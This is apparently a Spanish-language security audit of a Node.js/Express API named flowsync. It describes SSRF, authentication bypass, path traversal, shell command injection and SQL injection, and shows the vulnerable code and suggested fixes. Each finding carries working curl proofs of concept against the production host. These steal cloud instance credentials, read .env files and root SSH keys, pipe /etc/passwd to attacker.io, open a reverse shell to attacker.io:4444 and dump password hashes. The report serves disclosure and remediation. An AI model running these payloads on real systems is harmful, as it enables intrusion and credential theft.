flowsync/api-server · Node.js/Express + PostgreSQL · Desplegado en api.flowsync.ioEl endpoint /webhooks/test acepta una URL arbitraria controlada por el usuario sin validación alguna. No requiere autenticación. Un atacante puede apuntar la URL a servicios internos (169.254.169.254, 10.0.0.x) para robar credenciales de instancia cloud o escanear la red interna.
// routes/webhooks.js:3-8 router.post('/webhooks/test', async (req, res) => { const { url, payload } = req.body; // ⚠ No authenticateUser middleware // ⚠ url viene directamente del body sin validar const response = await axios.get(url, { data: payload }); res.json({ status: response.status, data: response.data }); });
# Robar credenciales de instancia EC2 curl -X POST https://api.flowsync.io/webhooks/test \ -H "Content-Type: application/json" \ -d '{ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "payload": {} }' # Respuesta esperada: { "status": 200, "data": "flowsync-prod-role" }
El middleware de autenticación, en el bloque catch del JWT inválido, no devuelve un error 401 sino que llama a next() con un usuario guest. Si los endpoints no verifican el rol del usuario y solo comprueban la existencia de req.user, cualquier petición con un token malformado (o sin token) obtiene acceso.
// middleware/auth.js:10-18 try { req.user = jwt.verify(token, process.env.JWT_SECRET); next(); } catch(e) { // ⚠ Debería ser: return res.status(401).json({error:'Unauthorized'}) req.user = { role: 'guest', id: null }; next(); // ← cualquier token inválido pasa como guest }
# Sin token o token basura → acceso como guest curl https://api.flowsync.io/files/export?filename=config.env \ -H "x-api-key: INVALID_TOKEN_XYZ" # Combinado con FSB-003 (path traversal): curl "https://api.flowsync.io/files/export?filename=../../.env" \ -H "x-api-key: notvalid"
El parámetro filename se concatena directamente al path base sin normalización. Un atacante puede usar secuencias ../ para escapar del directorio /var/flowsync/exports/ y leer cualquier archivo accesible por el proceso Node (claves privadas, .env, /etc/passwd).
// routes/files.js:3-7 router.get('/files/export', authenticateUser, async (req, res) => { const { filename } = req.query; // ⚠ path.join NO previene traversal con rutas absolutas const filePath = path.join('/var/flowsync/exports/', filename); const data = fs.readFileSync(filePath); res.send(data); });
# Leer .env con claves de producción curl "https://api.flowsync.io/files/export?\ filename=../../.env" \ -H "x-api-key: USER_JWT" # Leer claves SSH curl "https://api.flowsync.io/files/export?\ filename=../../../../root/.ssh/id_rsa" \ -H "x-api-key: USER_JWT"
.env con claves de BD y servicios tercerosLos parámetros scriptName y env se interpolan directamente en una llamada exec() sin escapar caracteres especiales de shell. Un atacante autenticado puede inyectar comandos arbitrarios usando metacaracteres como ;, && o $().
// routes/integrations.js:5 const result = await exec( `node scripts/${scriptName} --env ${env}` // ↑ scriptName y env sin escapar en shell string );
# Exfiltrar /etc/passwd via DNS callback curl -X POST https://api.flowsync.io/integrations/run-script \ -H "Authorization: Bearer USER_JWT" \ -H "Content-Type: application/json" \ -d '{ "scriptName": "sync.js; cat /etc/passwd | curl -d @- attacker.io", "env": "prod" }' # RCE directo con reverse shell: "scriptName": "sync.js; bash -i >& /dev/tcp/attacker.io/4444 0>&1"
La función construye queries concatenando searchTerm directamente en la string SQL. Permite inyección Union-based para exfiltrar otras tablas (usuarios, tokens, configuración) o blind injection para exfiltrar datos carácter a carácter. El userId también se interpola sin parameterizar.
// db/queries.js:2-4 async function searchWorkflows(userId, searchTerm) { const query = `SELECT * FROM workflows WHERE user_id = ${userId} AND name LIKE '%${searchTerm}%'`; // ⚠ Usar: db.query('... WHERE user_id = $1 AND name LIKE $2', [userId, `%${searchTerm}%`]) return await db.query(query); }
# UNION injection — extraer emails y contraseñas hash GET /api/workflows/search?q= %' UNION SELECT id,email,password_hash,4,5 FROM users -- # Respuesta incluye datos de la tabla users: [{"id":1,"name":"admin@flowsync.io", "status":"$2b$10$...(bcrypt hash)..."}]
Los siguientes hallazgos fueron descartados por ser locales, no explotables remotamente, o típicamente rechazados por las plataformas de bug bounty: